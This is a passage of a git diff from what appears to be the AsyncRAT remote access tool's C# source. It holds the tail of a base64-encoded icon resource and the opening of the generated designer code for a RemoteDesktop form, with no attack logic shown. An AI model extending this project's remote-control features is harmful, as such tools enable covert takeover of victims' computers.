+ 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
+ gg==
+
+
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
new file mode 100644
index 0000000..d720203
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.Designer.cs
@@ -0,0 +1,75 @@
+namespace AsyncRAT_Sharp.Forms
+{
+ partial class RemoteDesktop
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ this.components = new System.ComponentModel.Container();
+ System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RemoteDesktop));
